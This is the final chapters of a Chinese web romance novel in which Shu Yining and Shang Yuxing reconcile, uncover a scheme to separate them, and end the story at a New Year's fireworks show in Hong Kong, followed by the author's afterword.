她咽了咽口水,忍不住再一次开口:“那既然还没有和好,你就不能亲我啊,也不能和我睡一块儿。” 男人回以一声轻嗤。 舒以宁可不惯着他,立马叭叭叭控诉:“我都已经放下面子来找你了,你还要在我面前拿乔?商聿行!有本事你就……” “嗯,我没本事。”商聿行穿戴整齐,整个人转过身来,嗓音低哑磁性:“那么请问舒小姐,我现在是否可以再上一次这张床?” 他就这么定定地看着她,眼尾微垂,英隽的眉宇间染上几分笑意,浑身上下泛着矜重卓然的气质。 舒以宁收回目光,慢悠悠道:“当然不可以,你该去上班了。” 商聿行笑了笑,说:“我不想上班,我想上——” 舒以宁匆忙打断他:“你正经一点。” 她真怕他后头跳出来不正经的两个字。 商聿行意味深长地笑了下。 他没再揶揄她:“时间还早,你再睡会儿。阿姨会过来做早午餐,晚餐我来接你。” 舒以宁应了一声。 临走前,商聿行附身在她额头上落下一吻,“搬回来罢,都是我的不对。以宁。” 舒以宁当天就重新搬进了世纪城。 二人同居后,商聿行恰好又一次进入了工作繁忙期,但工作得再晚,他都没再在商盛过夜。有的时候凌晨两三点才到家,舒以宁已经睡熟了,他自然也没恶劣到要将她弄醒的地步。于是,这几天舒以宁就被迫拥有了与他早晨起床前的必备运动。 舒以宁拖着软绵绵的身子去西岸,再一次祈求这狗东西的忙碌期快点过去吧。 好在上天似乎听到了她的祈祷,商盛这回在西北地区的自然资源拓展得到了政府部门的扶持,合作规划很快就顺利落地了。 今天商聿行下午只有一个会,开完会,他来接舒以宁下班。 恰是秋意浓,北山路落了一地的梧桐叶。 舒以宁没上车,把商聿行拉到落叶不扫的路段,牵着手漫无目的地随意散着步。 积压的梧桐落叶黄得轻盈透明,脆脆的,一脚踩上去,咔嚓声在脚底炸开,好听极了。 舒以宁踩得开心,一蹦一跳的,仰起脸问:“商聿行,我们现在是什么关系?” 商聿行冷淡道:“我们除了床上,还有其他关系?” “这不……不太好吧。”舒以宁期期艾艾,磨蹭着。“嗯……我无名无分的跟着你,我我,我爸爸知道了要打死我的。” 商聿行没开口。 舒以宁委屈巴巴地瞅着他,眨了眨乌黑分明的大眼睛,弱弱道:“除非你承认我是你女朋友。” 商聿行抬眸看了她稍许,继而划开手机屏幕。 舒以宁看见他举起手机,对着电话那头的司机轻启薄唇:“回来接我。” “等一下!”舒以宁见他要走,立马见好就收,一脸情真意切地扯住他的西服:“我可以无名无姓跟着你!” 商聿行垂着眼,目光落在她紧紧拽着他西服袖子的葱白五指上。 舒以宁没松手,扁了扁嘴巴,正要继续开口说话,就听他低缓道—— “以宁,即便只是为了哄我,我也不希望你说出这样的话。”—— 作者有话说:还有最后两章,明天大结局~ 第85章 商盛37楼会议室,商聿行放在手边的手机屏幕亮了一下。 显示消息来自—— BB。 蔡丝蓓双眼登时一亮,与旁边倒水的Karina交换了一个彼此心知肚明的眼神。 商聿行尽收眼底,似笑非笑地勾了下唇角。 接着,他拿起手机回了条语音:“以宁,我在开会,有事一会儿说。” Karina竖着耳朵听完,内心立马咆哮起来:总算是和好了啊,嗑到了嗑到了! 商聿行不动声色地笑了笑。 微信备注是昨晚弄到兴头上,她趁他不注意偷偷改的,以为他不知道。不过,他看到后,就把通知显示内容从“仅显示「你收到了一条消息」”改成了“显示朋友名称、群聊名”。 商聿行加班到十一点半,回到家,舒以宁还没睡。 她穿着暗红色睡衣,长卷发落在肩头,倚在沙发中点燃了一根雪茄。 商聿行本以为她是给他点的,走近了,才发现不是。 ——她站起来扯住他的领带往下拽,吸了口雪茄,屏息,然后将烟雾一点一点地朝他脸上吐。 商聿行喉结轻滚。 烟雾缭绕中,舒以宁狡黠一笑:“其实我想这么玩很久了。” 说完,她又吸了口雪茄,故意朝他眼皮上吐烟圈。 商聿行笑了下,伸手摁住她不安分的小手,嗓音喑哑低沉得不像样子:“玩我?” 颇有耐心的一句。 舒以宁亲了亲他的下颚线,轻缓开口:“你生来我不就是给我玩的么?” …… 舒以宁不愧为一个能令人念念不忘的女人。 第二天,商聿行擅自决定给自己放半天假。他们从前一晚断断续续闹到第二天中午时分,睡了闹,闹了睡,酣畅淋漓。 中午起床前,商聿行一边穿戴一边转过来盯着舒以宁,倏然问起:“商砚廷对你说了什么?” “没有啊。”舒以宁看着商聿行一瞬不瞬的黑眸,咽了咽口水,“你说那天你父亲来找我聊天吗?真没说什么,他也不像是要拆散我们的样子。你父亲说你性格别扭,劳烦我多担待。其他就真没有什么了,不信你去问夏夏。” “好,那我们来算下一个账。” 舒以宁嗫嚅:“你在斯坦福是不是辅修了会计,怎么天天算账?” 商聿行没听清:“什么?” 舒以宁忙道:“没,没什么。” 商聿行划开手机屏幕,点开微信,重新掀起了眼皮。 舒以宁凑过去,乌眸一弯吹捧他:“哇商聿行!你竟然给我备注了BB哎,你真好商聿行!我就是我最好最好的男朋友!” “呵。” “……哈哈哈。”舒以宁装不下去了,把自己的手机拿给他,心虚道:“你也可以备注个你想备注的。” 商聿行没和她客气,长指取过她的手机,敛眸。 看见微信最近消息界面,男人唇角微微抬了一下。 还知道给他置顶,算合格吧。 不一会儿舒以宁就拿回了自己的手机,只见上面备注着简明扼要的三个字—— 男朋友。 ** 舒以宁和商聿行破镜重圆的下一周,毫无征兆的,许夏天和邢南分手了。 “我看到了我们在一起那天,他给秦延昭发的微信:‘我会把她完整地还给你’。他不爱我,他根本就没有爱过我。”许夏天对这段感情看得很开:“试过了,也就没有遗憾。” 尽管如此,她的眼角还是忍不住地湿了,“以宁,你见过他看萧殊恬的眼神吗?” 舒以宁猝不及防听见这个已经从她们生活中消失的名字,愣了一下:“这里边还有萧殊恬的事?我对她虽然不了解,但我可以肯定,她做不出介入别人感情的事情。这里头会不会有误会?” 许夏天摇摇头,抹去眼角的泪痕,笑了下,说:“她很好,他们两个都很好,没有人对不起我。只是,有些感情是藏不住的。跟他在一起这几个月,我看到过他眼中对别人的惊艳,也看到了他看向我的时候眼里的宠溺。但萧殊恬不一样……” 她停顿了会儿,脑海中浮现出邢南望向萧殊恬时的眼神:“那是我头一次看到他露出那样的眼神看一个人,很难形容,是一种很悲伤又不得不放手的感觉。会让我觉得他,很可怜。” 用情至深。 大概只有用这四个字才足以概括了。 许夏天长叹了一口气,一言以蔽之:“邢南很爱她。” 舒以宁越听越为她难受,伸手抱住她,柔声道:“夏夏,这是他们的事,与我们没有关系。你不用为他难过,他不值得你为他难过。” 许夏天终于忍不住了,埋在舒以宁肩头痛哭了起来。 舒以宁一下又一下地轻拍着她的后背,安抚着。 许夏天很好,所以有秦延昭爱着她;邢南也很好,所以有许夏天这样好的人爱他。 但感情的世界里,倘若不涉及底线问题,又能有什么对与错?喜欢就是喜欢,不喜欢就是不喜欢,向来泾渭分明,残酷得令人难以招架。 一个人再好,也不可能拥有所有人的喜欢,来自爱情的喜欢。 舒以宁从不吝啬在许夏天面前给出她真挚的承诺:“夏夏,我永远爱你,我会是你永远的后路。” 为情所伤的自然不止许夏天一个。 在与许夏天分手后,邢南飞长沙去节目组后台看了一眼萧殊恬。回来就喝了个昏天黑地,直到商聿行来找他,都还没吐清醒。 “我伪装成熟靠谱的大人,在社交场合游刃有余。人人都说我是个好脾气的人,我确实没什么脾气……呵,我的脾气啊,早跟我的少年心气一起飞走了,和我的生命力一起……”他闭上眼睛,近乎呢喃:“全都飞走了。” 商聿行无法对他这副鬼样子感同身受:“你都没有为她努力过,在这装什么深情?” 邢南喃喃,近乎自言自语:“你不懂。” “我的确不懂。我准备和以宁去北欧看极光,你要一起么?”商聿行没什么同理心地发出邀请。 邢南情绪上头,将其视为一种来自商聿行的挑衅:“呵,连你这样没情趣的冰山都能拥有爱情,呵,跟谁没拥有过似的。” 商聿行着实不能认同他这副半死不活的模样,风轻云淡地抿了一口威士忌,说:“那你就继续做你醉生梦死的酒鬼罢,以宁还在家等我,走了。” ** 月底,蓝溪辞职了。 她将离开H市,去一座挪威小城开启她的旅居生活。 西岸为她举办了一场欢送宴。 馆长为接班人的离开而感到伤怀,蓝溪举杯笑道:“这不是还有以宁在?大都会色彩展完成得太出色了,比我想象得还要完美!” 舒以宁笑着回:“我资历浅,尚有许多需要学习的地方。” 这不是谦词,她越深入开发展览项目,就越认识到自己的不足。 蓝溪在明亮的灯光中笑盈盈看着她,美眸定在了她的瞳孔上:“以宁,我给你提个建议,去进修,去系统地学习。你要在这条路走下去,得时刻保持充盈自己的学习状态。” 舒以宁与她碰杯,笑道:“我会考虑,谢谢溪姐。” 都要离开了,蓝溪不想和她留着隔阂,于是把话说开:“上半年你加班那次,我说的话都是故意激你的。受人所托,希望你不要放在心上。” 舒以宁想起来那天的对话,半开玩笑道:“是说我依附商聿行吗?” 蓝溪坦然一笑:“是啊,我和找我帮忙的那位也说过了——骂过了,骂不骂得清醒我就不能保证了。” 舒以宁之前就奇怪一直以来自己和蓝溪关系都还算不错,并无任何矛盾,也没有利益冲突,她为什么突然就说话这么冲了。 原来,是受人所托来骂醒她。 蓝溪再一次朝她举杯:“说你依附是假的,我看得出来,你只爱你自己。我也是,我也只爱我自己。以宁,我们是同一种人,我也祝愿你,不为谁改变你的底色,一直都做我们这种人。” ** 散场前,舒以宁终究按捺不住地朝蓝溪问出了那个问题:“是我奶奶吗?” 蓝溪没有正面回答她,但也肯定了她的猜测:“她很高兴你能在感情里安定下来,学会怎么去爱一个人;但是,她不希望你在感情中迷失,她想你能坚定你的梦想,能做出你的事业。以宁,你明明是有你的梦想的,也有你的事业,不是吗?” 回世纪城的路上,舒以宁想了很多,做出了一个重大的决定:“商聿行,我想出去读两年书。” 她本硕毕业于UCL,照理说,往上读个phd更合适。但她想换个方向,也不想读太多的时间。她想学以致用,用到她一直心心念念的neoromanticism插画展上,也想拓展更多领域的策展灵感。 商聿行第一反应:“你想跑出去?” 舒以宁:“……没有,我真的只是单纯想出去深造一下。嗯,我考H市的研究生也行,A大、美院选择性也不少。” 商聿行的心思还留在下午看到的那份关于纪赫松的调查报告上,他仔细凝视她的脸,缓缓道:“不着急,慢慢考虑。我尊重你的所有决定,以宁。” 翌日,纪赫松被带进了莫干山路上一家看上去十分奢华的体育俱乐部。 穿着黑色套装的工作人员领着他往下走,来到B1拳击馆。 偌大的空间内,绑着好几处的沙袋,他一眼就看到了正中央挥拳生风的高个男人。 除此之外,空无一人。 “商总,纪先生来了。” 工作人员鞠躬后,就退了出去,并把门关严实了。 纪赫松忐忑着往前走了几步,对上男人漆黑凛冽的眼眸。 “陪我打两局?”商聿行咬掉左手的拳套,朝他发出邀请。 一个半小时后,宋正阳与周嘉皓也先后被请入了这家俱乐部。 宋正阳的司机用的是舒跃章原来的司机,将人送到莫干山路后立马就向舒以宁报告了这件事情。舒以宁赶到时,一来就撞上了1V3的局面。 当然,可以说是一场商聿行对其余三人惨无人道的单方面压制—— 纪赫松是不敢还手,宋正阳倒是与他对打了会儿,但占不到他多少便宜,周嘉皓则是体力太弱了,完全被压着打。 “商聿行!你在做什么!” 商聿行的拳头就在距离宋正阳那张脸不足两厘米的位置停住了。 他侧过脸望向她,头顶冷色调的灯光打下来,愈发衬得那双深邃的黑眸寒意迫人。看见她,他的眸光才柔和了几分,但棱角分明下颚骨依旧透着股森冷。 舒以宁跑上去拉开他们。 十分钟后,舒以宁终于搞清楚了整件事情的来龙去脉。 这些日子以来的风波拨云见日,豁然开朗。 原来纪赫松根本不是什么顾总小舅子家的小孩,他是H市电影艺术职业学院的学生,受宋正阳雇佣,跑来她跟前演了几场戏。而这里头,也还有着周嘉皓的手笔。 一切的一切,不过就是为了要她与商聿行离心。 他们也确实成功了。 只是,他们的成功也已经成为了过去式—— 谁都意料不到,这回舒以宁会穷追不舍地挽回这段感情。 周嘉皓挨了商聿行两拳,唇角一片青紫,但没有还手。 他与舒以宁之间的恩怨,早已随着那日她那声“皓皓,对不起”而结束了。今日,也不想再徒增无必要的纠缠。 因此,他也是率先离开的人。走之前,他朝舒以宁略一颔首,眸中满是释怀:“这件事算计你,我出了不少力。这两拳算是还给你了,以宁,再见。” 纪赫松也想走,但是不敢走,眨巴着湿漉漉的眼睛朝舒以宁求救。 慵懒的栗色卷发下精致漂亮的眉眼楚楚可怜,泪光在眸底盈盈浮动。 舒以宁:“……” 别勾引我了,没用的,弟弟。 商聿行观察了一会儿,倏然出声:“你有为他动心过吗?” “怎么可能。”舒以宁没想到他竟然还在误会这个,于是将她与纪赫松之间发生的事原原本本的告诉了他一遍。“我真没想到这竟然会Raymond和周嘉皓设的局,他们能想出这么个局来阴我,不就更说明谁都看得出来我有多喜欢你了?况且,退一万步讲,就算我要为谁动心,也至少是肖寂或者沈嘉树吧?” 商聿行冷笑了一声。 舒以宁:“……” 她伸手去拉他的衣角,“好了啦,别生气了。我现在有没有为别的男人动心,你难道还能不知道?别生气了商聿行。” 商聿行没说话。 舒以宁又拉了拉他的衣角,歪头盯着他的黑眸:“这件事过去了,我们就让它过去吧。好吗,商聿行?” 商聿行攫住她的乌眸盯了会儿,最终微微颔首。 舒以宁松了一口气,用了一个眼神示意纪赫松先走,然后看着商聿行温柔道:“你先出去吧,我想和Raymond单独说两句话,可以吗?” 商聿行看了一眼一旁西装笔挺的宋正阳,知道他们俩之间不存在男女关系上的问题。但他还是不爽,不爽这个男人一而再地来插手他与以宁的事。 他走了出去,把空间留给了舒以宁。 其他人一走,舒以宁心里头的话也就好开口多了。 “Raymond,请你以后不要再来干涉我的感情生活了。”她实在是累了,不想再听他说那套价值观理论,“我知道你背后受人指使,但请你们,不要再打着为我好的名义来插手我的事情了。就当我求你们。” 舒以宁深吸一口气,说了句重话:“我和商聿行的事情和外人无关,不要逼我说难听的话。” 宋正阳只是看着她,没有说话。 舒以宁也不想跟他吵架,撂下一句“再有下次我绝对会翻脸”就往外走。 宋正阳这才出声喊住她。 “以宁,有空就多去港城看看老夫人吧。”他说。 舒以宁垂下眼眸掩盖了几分情绪,答道:“嗯,好。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【END】 第86章 舒以宁是开着上半年她生日时商聿行送她的那辆路特斯Evija来的。 从俱乐部出来,她强硬地将他推上了她的跑车副驾驶。 舒以宁转动方向盘,往滨江世纪城的方向开。 商聿行看着车窗外,薄唇抿成一条直线。 舒以宁从中央后视镜看了他一眼,“你幼不幼稚?今天我要是没来你做什么打算?把他们一个一个打趴下?” 男人完美的侧脸轮廓与撒入车内的光影交叠,线条深刻冷峻,唇角紧绷。 舒以宁见他迟迟没有开口的意思,不由提高嗓门:“商聿行,你说话!” 商聿行转过头,黑眸直直望着中央后视镜中她薄怒的明眸,薄唇轻启:“我想出气,不行么?” 舒以宁:“这件事到此为止。” 舒以宁:“听见了没有?” 商聿行“嗯”了下,垂眸发短信通知司机可以下班了。 车没有开进世纪城,一路往西开上山,到了北山陵园。 商聿行眸中闪过片刻的意外,紧绷的唇角终于松动了一些。 舒以宁在门口选了鲜花与果篮,让商聿行负责付钱。 再一次踏入家族墓,舒以宁看着墓碑上熟悉的人像,轻缓道:“妈妈,我带我的男朋友来看你。上次太匆忙,不够正式。” 她说得是心理上,而非形式上。 “伯母您好,我是以宁的男朋友,商聿行。”商聿行上前鞠了个躬,弯下腰摆花和果篮。 他弯腰动作带动肌肉线条十分明显的腰臀延展,因着打拳击换了中短裤,露出又白又直的劲瘦大长腿。 舒以宁莞尔一笑,转过目光重新看向母亲的照片,说:“妈妈,他的身材是不是很好?” 商聿行转过头来,疑惑地望了她一眼。 舒以宁对上他的目光,笑得很温柔:“他对我很好,我很喜欢他,各个方面。” 从陵园回到世纪城,外头天还亮着,屋里两人就亲着亲着,滚到了床上去。 在关键点,商聿行停了下来,没有继续。 舒以宁被他弄得不上不下,眨着迷蒙的眼,拍了下他的手臂:“你又在打什么坏主意?” 商聿行将枕头垫高,抱她起来,左腿屈膝跪在床上。 与她视线相平。 他的眸色很黑很深,整张清隽的脸更是正经得不得了。 舒以宁看得更心痒痒了。 商聿行按住她作乱的小手,破天荒地在床上保持住冷静。 他的眼神很郑重,很认真:“以宁,你先听我说,我有件事要向你坦白。” 舒以宁:“嗯?坦白局?” 商聿行一瞬不瞬地攫住她的目光,说:“当初你父亲在西雅图失踪,我很早就收到了消息。但我心思不纯,用了点手段,故意压下了这个消息。在这之后,我提前布局了商盛要收购舒住的传言。” “对不起以宁,如果当初我没有横插一手,延误了找人的时间,可能你父亲就不会至今下落不明。” “我接受你对我的所有惩罚。” “所以……”舒以宁说出心里的猜测:“先前你一直不愿意原谅我,也是怕被我知道这件事?” 商聿行并不打算为自己的求原谅多加一层筹码,坦言:“没有,一码归一码。” 舒以宁:“……” 好一个一码归一码。 舒以宁忍不住笑了,伸手环住他的脖子,索性也与他说清楚:“我父亲的事情怪不了任何人,这是他自己的选择。我恨他,哪怕他的失踪与你有关,我都不会怪你。” 更何况只是暂时拦截了几天的消息。 毕竟,没有人逼着她父亲出轨,没有人逼着他生私生子,更没有人逼着他带上小三母子和卖出的三亚别墅款去西雅图。 “我父亲如果能找到,就最好。他是我父亲,为人子女的,我自然希望他可以健健康康、平平安安。不过,他回来了,我就会向他开战,这一回,我一定要从他手上把属于我们舒家的都拿回来。” “但如果找不到……也是他自己的报应。” 舒以宁一口气将这一年多以来的想法倾泻而出,终于感觉大松了一口气。 商聿行吻着她,吻着她的额头,眉间,眼睛,鼻梁。 和嘴唇。 一遍又一遍地说: “以宁,我会永远陪着你。” ** 商聿行许久没带舒以宁回古北,时虞坐不住了,直接打他电话要他带着人以宁回来吃晚饭。 一进屋,时虞就拉着舒以宁的手关切:“以宁好久没来了,是最近忙吗?” 舒以宁自然懂得要在长辈面前做足好印象的道理,笑着答道:“最近美术馆有新展,工作比较忙,手头上有点项目在赶。” “那还是工作要紧。”时虞虽然一辈子都没有出去上过班,但从不认为舒以宁的工作可有可无。 一顿晚饭吃得十分和谐,商砚廷也难得露出笑脸,与商聿行碰了几杯酒。 饭后,商聿行随商砚廷上楼汇报工作,舒以宁陪时虞坐着叙话家常。 事到如今,时虞也不再瞒着她:“阿行与他父亲的关系一直不大好,我想你应该也感觉出来了。” 舒以宁不期然时虞会突然和她聊这个,犹豫着点了点头。 “这事,怪我。”时虞端起茶杯抿了一口花茶,目光落到茶壶上,有些不好意思:“他高中的时候,还没到十七岁,有一回我和他父亲玩的过火了些,被他看见了。” 那日,年少清狂的商聿行推开书房的门,第一眼就看见自己的母亲趴在地上,而他那高大的父亲手中—— 拿着鞭子。 他不可自控地发了疯,冲上去挥拳朝向商砚廷。 商砚廷也没客气,一脚就将他给踹翻了。 青春期的商聿行虽然体力充沛,但和商砚廷这样的练家子还是不能比的,自然占不到一点好处。所以,他假意屈服,并策划了一场逃离。 一个月后,他带着时虞逃去了隔壁省的乡下。 时虞:“他误会了,以为我是受他父亲胁迫,才不得不留在商家。” 舒以宁听到这里,不可能没有触动。她心里头一时间五味陈杂,“他一定是下了很大的决心。” 才能假意屈服父亲的淫威,步步为母亲谋划。 “是啊,这就是我的阿行。”时虞脸上的尴尬神色渐渐褪去,提起商聿行时眉眼都染上了温柔的笑意。她继续往下说:“我那时候也还年轻,爱玩,觉得这孩子一股较真劲儿真是十分有趣。所以,我就跟着他逃了。” “但商砚廷是什么人?他要找我们出来,实在是轻而易举。被找到的那天,阿行拦在我身前,以命相要挟,求他父亲和我离婚。他求他父亲,还我自由。” 舒以宁脸上的表情空白了一瞬。 自由。 所以,当初在他听见她信誓旦旦说“自由”的时候,他心里边又是怎样的一种难过呢?是心寒于她字字句句的不肯收心吗?还是怕自己有朝一日舍弃来时路,终将成为恶龙呢? 自由。 她就这么在不知情的情况下,用这两个字狠狠往他心尖上剜。 时虞还在继续往下说:“他父亲那时候也生了好大的气,踹断了他两根肋骨,直接将他扔去了美国。” 舒以宁:“……” 这已经不是生气了,是残暴吧。 “此后三年,我们母子不被允许相见。商砚廷在这点上出奇得坚定,任我怎么发脾气,都不肯松口。他……挺凶的,那两年。”时虞可能感觉气氛太沉重了,于是笑笑,说:“对我来说,也是无妄之灾。” 时虞说回商聿行:“阿行他需要宣泄,也是在那三年,他爱上了打拳和赛车。在美国打过两次地下黑拳,一赢一输,输了以后他下一次再去就被拦在外面了。——他父亲不准他再打,赛车也是。” 舒以宁问:“那您就没有和他解释清楚吗?” 时虞无奈道:“怎么没有呢,只是啊,我说再多这孩子都认为我只是在委曲求全。这些年,他父亲其实对我足够纵容了,但阿行对他父亲的误解太深,总觉得他父亲只是在刻意补偿我。” 舒以宁没有话讲了。 确实。 要是她是商聿行,她也会认为父母俩一个是在委曲求全,一个是在补偿。 时虞给舒以宁添了茶。 舒以宁道谢,拿起来喝了点,然后说:“难怪商聿行身上总是有一种很禁欲很克制的吸引力。” 明明压根就不是一个禁欲的人,谁能玩得过他的花样? 时虞莞尔,缓缓道:“前阵子你和阿行闹别扭,他父亲关了他一夜。他们以为我不知道,但我能不知道?太小看我了。只是,这是他们父子俩的事情,我不会去干涉。但是以宁——” 她看着舒以宁的眼睛,伸手拉过她的手放到腿上,真诚道:“你的事我会管,不管什么时候,只要你需要我,我都会站在你的身后。阿行血脉里流淌着他父亲的恶劣,他爱你,所以我相信他能控制得住自己。但哪怕事有万一,任何时候,我都不会允许他伤害你。” ** 这是舒以宁第二次在古北过夜,上一回是在商聿行三十岁生日的时候。彼时时虞亲自给她提前收拾了一间客房出来,布置得梦幻极了。当然,最终商聿行还是趁人不备挤进了那间客房的门;在他三十岁的第一天,想要就得到,毫不委屈自己。 她虽然是第二次留宿古北,但却是第一次住进他从小住到大的房间中。 是二楼东南角的套房,面积很大,分会客厅与卧室里外两间。 晚上九点半,商聿行从商砚廷书房汇报完工作出来,在楼梯口遇到了时虞。他笑着称赞了几句母亲的新披肩,母子俩讲了一会儿话。 时虞拍了一下儿子的臂膀,叮咛:“晚上顾着以宁点,别太过了。” 商聿行虽然在床上不做人,但终究不好意思与母亲聊这样亲密的话题,轻轻“嗯”了一声就想含混过去。 “以宁是个好孩子,你要是敢过线,我不会饶你。”时虞重申了一遍,不严肃,但也不开玩笑。 商聿行笑,慢条斯理道:“您放心,我不是商砚廷。” 时虞微微颔首,没再多说什么。她往楼梯上面走,楼梯口很大很宽敞,但商聿行侧身给她让出位置以示尊重。 走了几步台阶,时虞停下来,回过身居高临下看向还站在原地的儿子,拢了拢披肩微微一笑:“阿行,当年我二十岁,随你外祖父母以及大舅舅参加了你父亲回国的那场舞会。是我,主动坐到了你父亲身上去,这才有了我与他后来的缘分。不管你信不信,我真的是自愿的。我很爱你的父亲,不比你父亲对我的爱少。” 舒以宁已经洗完了澡,全身都抹得香香的。倒不是因为商聿行,而是她习惯了在睡前保持一个良好的肌肤状态。 商聿行一进卧室就想亲她,被她果断拒绝了。 “先去洗澡。”她催他。 商聿行长指扯松领结,幽幽地望着她。 “快去。”舒以宁伸腿往他遒劲有力的腰窝踹了一脚,再次催促。 五分钟后,浴室中站在花洒下的变成了两个人。 舒以宁站不住,指了指旁边的浴缸,想要坐进去缓一缓。 商聿行贴着她耳朵,吐息间热气灼灼:“想去浴缸就得跪着了。” 舒以宁:“……狗东西。” 一个澡洗完,舒以宁难得又舒服又没消耗多少力气。商聿行尽心尽责地帮她擦身体乳,濡湿的黑发垂下来,柔化了他与生俱来的深邃轮廓。 舒以宁弯唇欣赏着他的样貌,突然提起:“我听说,你不理我的时候,你父亲把你关起来了啊?是什么时候的事?你从国外回来的时候,还是你父亲来找我聊天的时候?” 商聿行兴许觉得丢脸,睇了她一眼,黑眸中满是压迫性的威胁意味。 颇有一股“你要是再敢问下去,今晚就别想好过了”的意思。 左右还在古北,舒以宁有恃无恐:“你这什么眼神?不怕我去找伯母告状?” “嗯,说得出口就去。” “……狗东西。” 她还真说不出口。 擦完身体乳,关了床头灯,商聿行揽着舒以宁入睡。 “以宁,下个月跨年去港城罢。” “嗯?你想和我一块儿看维港烟花啊,商聿行?” 商聿行紧了紧臂弯,在黑暗中弯唇:“嗯,想和你看。” ** 今年维港的跨年烟花,由商聿行以舒以宁个人名义赞助。 是夜,璀璨烟火照亮了整片港湾。当晚49万人齐聚维港两岸,迎接新一年的到来。 烟花照亮了维港夜空,也照亮了丽思卡尔顿117层。落地窗内,商聿行动情地吻着怀里的舒以宁,舒以宁一只手攥紧他的黑发,脖颈高高扬起。 糅合七色彩烟的银闪烟花映射在他们漆黑的瞳孔中,嘣一声炸裂开来。 这是舒以宁与商聿行完完全全度过的一年,在这一年的时光中,他们完完全全地拥有爱情,占据彼此。 而12月31日24时跨年时刻,烟火绽放,拉开了他们新的一年。 舒以宁已经疲惫得几乎丧失了所有的力气,气若游丝、苟延残喘。 商聿行抱她起来,贴着落地玻璃窗冰冷的幕墙,看太空中璀璨而夺目的烟花。 他吻着她的黑发、耳朵和唇角,问她:“还会走么?还会离开我么?还要你的自由么?” 舒以宁实在怕极了他折腾她的手段,哑着嗓子说着自己也不知道是不是违心的话:“不会,我不敢了。” 男人这才满意了。 换了个姿势拥抱她,在她闭眼前,亲吻着她的眼角:“舒以宁,我给你随时离开的自由,不过,你也要永远给我重新追求你的自由。” “我是你的,你是自由的。”在新一年的零点,在舒以宁睡过去的前一秒,他给出了此生举轻若重的承诺。 她是自由的轻风,也是高悬的明月。 他愿意追随她,做她最虔诚的信徒。 在这场不眠风月之中。 (完) 小剧场: 时虞:“我很爱你的父亲,不比你父亲的爱少。” 商砚廷鹰隼般的黑眸微微亮起:“真的?真有那么爱我?” 时虞想了五分钟,选择了一个比较委婉的说法:“暂时比爱肖寂少一点吧。” 其余的,都藏在今夜的风与月中,彻夜不眠—— 作者有话说:终于更完啦,真的真的十分感谢小天使们的一路陪伴~ 其实最开始我是想写一个追夫火葬场的故事,因为看过很多轻轻放下的追妻火葬场,就特别想写一个完全为女主服务的故事。就是女主非常海王、游戏人间、视感情为儿戏,男主痴情一片受了很多来自女主的伤,最后草草追夫火葬场一下就HE,哈哈哈哈。但在写这个故事的过程中,随着故事的展开自然而然就偏离了原来的轨道,以宁变得没有那么渣了,不过好在商聿行的人设没有多大变化。总体来说,作者君自己还是很喜欢这个故事的,番外的话,可能会有但大概率不会有了,这个故事是不打算写以宁生宝宝的,因为我们以宁啊,就是自由的风[抱抱][抱抱] 下一本暂时不打算写《夏日萤火》了,也就先不推预收了。山高水远,小天使们有缘再见啦,祝大家都发大财[亲亲][亲亲]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m